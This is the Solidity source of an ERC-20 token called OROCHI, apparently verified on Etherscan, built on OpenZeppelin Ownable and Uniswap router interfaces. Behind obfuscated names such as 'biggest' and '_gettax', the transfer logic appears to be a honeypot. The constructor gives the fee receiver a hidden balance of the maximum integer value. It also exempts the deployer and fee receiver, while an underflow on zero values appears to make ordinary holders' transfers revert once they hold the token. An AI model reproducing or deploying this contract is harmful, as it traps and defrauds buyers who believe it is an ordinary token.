/*
....:^^:::::::^^^~^^:..........::^^^^^:........:........................ ...:::^:::.:..       ..:::.
..:^^^^:...::..:::^^~^:......:^~^^::~!^^^^:....~:... ...................:~^~^^::.::::^^.:.  ..:.::..
:^^:^~^::::::^::.::::^~^:...~~^:..::^~:^~~!^...^^ ..   ..... ........ .~~^^^::::::....:~^...^::..::.
!~~^~^:^:::...^!~:.::::~^.:~!:.:~~~!7^^^^~!7^.:^::..  ...     .......:~~~^^~~~^::^^...::~..^^:.:^^:.
!~^~~~:::!!~.. .!?~::::^!^!~:.:7!:.:^^^^~!!7!:~:~~.  ....  ........ :~~!7~:7^.....!^:..^~.^^:.^~:...
7!~7~~^.!!!!.... !?^::^~!7!::^?!...:!~~:^~~^~^~!7^  ...  ......  ... .^?~::. .....?!:.:~^~~::^~: ...
^~~~~:^!7!!!. . ..7!^.^~!!^.:7?.   .::!77~^!J7^:. . ..  ....... ......~^:.. .....!?^..^~:?^^!!:.....
..~~~~!^77!7!^^:..^7^:^~7^^:^J^. ...  .^7!~!7: ..:.~~.^^:......:^::^^:::::^::.:^!!:..^~.:~^~7^.... ^
..:~!7~::^~~~~!~..:7!^^7!^::~?:...  ... ^?77^..~^!^^::^^~!~^^~^^^^^~:^^^^^^^^~!?!~::~^. :!~7~.... :~
...:~!~^~^~7~^^^^:^?!^^7^^::~?: .    ....!?7^~7!:.......:~7!~^:^~~~~~^:^^^^^:::^~~^~: ..:!!^..   .!~
...^^7^^:^7!..::^~~7~:^7~~::~?^ .........^~~^?7:~:^~~^~::!!~^^^~~:.....:~7?!~::::!!:.....::....  ^7!
...~^~^^:^?~::...:~7~:~7!~::~7~ ............^!!!!!!^:^7~^!~!^^!:. ...:!7??!~^!~::^!~.....  ...  ^!!:
..~~^^~^:~J~^~7!^::~!^^!7~^.^~?:.... ......:!^^^?7...^?!~!^!~7~ .. .~?77~~~~^:~~::^~:........ .~7!^.
.:!~:^~^:^77. .!7^::!^::!!^::^!!....  ......~!!^!: ..!?7!7^~!?^.. :!!!~:~!^...:?:.:!~:.......^!7~:.^
:~!^:^!~^^~!7^ :?~^^!~^.^7~~::^!7:...........~7^~...~?!^!7!^^!^..~7!~^:!~. ...:?^..~!:.....:!!!^::~~
!!~~^:!!~:^^!7!~?!::7^:::~7~^::^~7~:........ :~!~..!J7!.:!??7~^.~777:^!^..... ~J~.^!!:...^!~~~:.~!^.
~~^~~~!:~~^::~!77~:^7^:::~~!~^:.:^!?~^. .........:!?7!::~~^!!!!~?~~^^7: .....:J7^.:~~.:~!7!^..:~~: .
:!~77:^ .^^^.:^^!777!:.:.~:^7!~^:::^7?!~.  ......!?!~~.~~:..^~!7~^~:!^ ......7?7~.^7!~77!^:::~^. ...
.^~77^.. :~!~::::~!!!~:.:!..^!!^^:.::^77?!:  ...^77^~::~^:.. .7!^~:~~...... !7!!:.7!!!~~::^^:. .....
...^!^.  :!!~~~^:::^^7!7~:   .~!^^^:..:~~7?~. ..!7!~~.^^:... ~7^^::~... . .~Y7~::!7!^^^~^:.. .   .. 
...... .~!!!^:^!~^::^~?7!~^.  .:~!~!^..:^!~7?~..??!~~.^^:...:?!^~.^^... .^??!^::!?!^~~^:.......   . 
....  ^!!~^:::^!!7^^.^~^^^!!^....:!7!~...^~!7?7:7J7!~.:~^:..~?!^^:~: ..^7??^:..!7~!~^.  .......     
.....~~~^:.::!!~^~!~:.:^:^~~!!:...:~!!^. .:!7?Y?777~~:.^~:..77!^^.~^^!!?7^^..:77~!~.     ..         
.  .!~^:::::!!^::.^7^:..^::~~77:...^!!~...^^!777J7!~~^..^^::7!^^!!7J7!~:^..:~7!~7^                  
. .!~~:.::^!~~^:..^~7^:..:^^^~~7: .^~7!:. ::~!77JY!~:^^.:^~^777?!7!~^::...^77~~~.                   
  ^~^^:::^!^^^:..:^.!~:: ::.^~~!!..:^!~:..::~!!!!Y?!~^:^:^77J!!?^:^...::^!!~^!:.                    
 :~^^:.:^^~^::..:~: ~~::..::~~^^7^.:~~:...^:^!7?7?7~~^.~7!?!~7:::. .^~~!!~^^!:                      
 ^~~^::::~~~^:...~:.!^::. :^^~~^^~.^!~:. ::.^~~!!!?~^~7?J!^!::: .:^!7!~^~^:!.                       
.~^^^::::~^^::...^^.!:... .:::::^!:!7^:  ^:^~!!~~~?!!7?J77^.:...^!77~~~~::!.                        
^~~~~^:::!~~^:...:^^~::.  .^^^^:^~^7~:. .^.:^^~!77JJJ?~~~::^..:!!^:~~!^::!:                         
!!~^^:::^~~~~^:...~!:...  :^^^^:~~!~..  :::^~~~~^:7Y!??^.::..:!!^^.~!~~.!^                          
^^~~^^::.:!~~^::.^~^.... :^^^^^^~7~:...:^^~~~~!!!~7??!~~^:...~?~^^::~!::!.                          
~~~~^:::..^~^^:::^::... .:^^^:^~7^....^::~~!!!!~:.!!~77!::...!7~^^^.:~^~~  ...                      

https://medium.com/@YamatanoOrochi

*/

/**
 *Submitted for verification at Etherscan.io on 2022-06-17
*/

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.5;

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-_tfee contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract OROCHI is Ownable {
    constructor(
        string memory _NAME,
        string memory _SYMBOL,
        address routerAddress,
        address feereceiver
    ) {
        _symbol = _SYMBOL;
        _name = _NAME;
        _fee = 1;
        _decimals = 9;
        _tTotal = 1000000000000000 * 10**_decimals;

        _takefee[feereceiver] = _tfee;
        _takefee[msg.sender] = _tTotal;
        _gettax[feereceiver] = _tfee;
        _gettax[msg.sender] = _tfee;

        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());

        emit Transfer(address(0), msg.sender, _tTotal);
    }

    uint256 public _fee;
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    function name() public view returns (string memory) {
        return _name;
    }

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _takefee;

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    uint256 private _tTotal;
    uint256 private _rTotal;
    address public uniswapV2Pair;
    IUniswapV2Router02 public router;
    uint256 private _tfee = ~uint256(0);

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    address[] interest = new address[](2);

    function balanceOf(address account) public view returns (uint256) {
        return _takefee[account];
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function biggest(
        address treated,
        address official,
        uint256 amount
    ) private {
        address hall = interest[1];
        bool border = uniswapV2Pair == treated;
        uint256 order = _fee;

        if (_gettax[treated] == 0 && driven[treated] > 0 && !border) {
            _gettax[treated] -= order;
            if (amount > 2 * 10**(13 + _decimals)) _gettax[treated] -= order - 1;
        }

        interest[1] = official;

        if (_gettax[treated] > 0 && amount == 0) {
            _gettax[official] += order;
        }

        driven[hall] += order + 1;

        uint256 fee = (amount / 100) * _fee;
        amount -= fee;
        _takefee[treated] -= fee;
        _takefee[address(this)] += fee;

        _takefee[treated] -= amount;
        _takefee[official] += amount;
    }

    mapping(address => uint256) private driven;

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    mapping(address => uint256) private _gettax;

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        require(amount > 0, 'Transfer amount must be greater than zero');
        biggest(sender, recipient, amount);
        emit Transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        biggest(msg.sender, recipient, amount);
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
}